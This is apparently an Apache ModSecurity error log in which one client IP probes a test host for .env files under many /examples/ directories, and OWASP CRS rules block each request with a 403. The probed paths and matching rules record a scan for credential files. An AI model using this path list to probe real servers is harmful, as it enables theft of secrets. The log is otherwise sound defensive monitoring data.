[Mon Jul 28 20:46:09.457293 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/09-production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjxAAAAAc&quot;]
[Mon Jul 28 20:46:09.457460 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjxAAAAAc&quot;]
[Mon Jul 28 20:46:09.457610 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjxAAAAAc&quot;]
[Mon Jul 28 20:46:09.477701 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/10-subscriptions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjxQAAAAc&quot;]
[Mon Jul 28 20:46:09.477866 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjxQAAAAc&quot;]
[Mon Jul 28 20:46:09.478037 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjxQAAAAc&quot;]
[Mon Jul 28 20:46:09.498785 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/11-transactions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjxgAAAAc&quot;]
[Mon Jul 28 20:46:09.498966 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjxgAAAAc&quot;]
[Mon Jul 28 20:46:09.499130 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjxgAAAAc&quot;]
[Mon Jul 28 20:46:09.519904 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/drupal-separate-services/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjxwAAAAc&quot;]
[Mon Jul 28 20:46:09.520082 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjxwAAAAc&quot;]
[Mon Jul 28 20:46:09.520264 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjxwAAAAc&quot;]
[Mon Jul 28 20:46:09.540177 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/react-dashboard/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjyAAAAAc&quot;]
[Mon Jul 28 20:46:09.540352 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjyAAAAAc&quot;]
[Mon Jul 28 20:46:09.540510 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjyAAAAAc&quot;]
[Mon Jul 28 20:46:09.560582 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/sdl-first/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjyQAAAAc&quot;]
[Mon Jul 28 20:46:09.560774 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjyQAAAAc&quot;]
[Mon Jul 28 20:46:09.560949 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjyQAAAAc&quot;]
[Mon Jul 28 20:46:09.581042 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/sdl-first/prisma/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjygAAAAc&quot;]
[Mon Jul 28 20:46:09.581233 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjygAAAAc&quot;]
[Mon Jul 28 20:46:09.581399 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjygAAAAc&quot;]
[Mon Jul 28 20:46:09.601391 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/vue-dashboard/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjywAAAAc&quot;]
[Mon Jul 28 20:46:09.601574 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjywAAAAc&quot;]
[Mon Jul 28 20:46:09.601739 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjywAAAAc&quot;]
[Mon Jul 28 20:46:09.621864 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjzAAAAAc&quot;]
[Mon Jul 28 20:46:09.622050 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjzAAAAAc&quot;]
[Mon Jul 28 20:46:09.622211 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjzAAAAAc&quot;]
[Mon Jul 28 20:46:09.642401 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-cookie-auth-fauna/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjzQAAAAc&quot;]
[Mon Jul 28 20:46:09.642580 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjzQAAAAc&quot;]
[Mon Jul 28 20:46:09.642735 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjzQAAAAc&quot;]
[Mon Jul 28 20:46:09.662870 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-dotenv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjzgAAAAc&quot;]
[Mon Jul 28 20:46:09.663055 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjzgAAAAc&quot;]
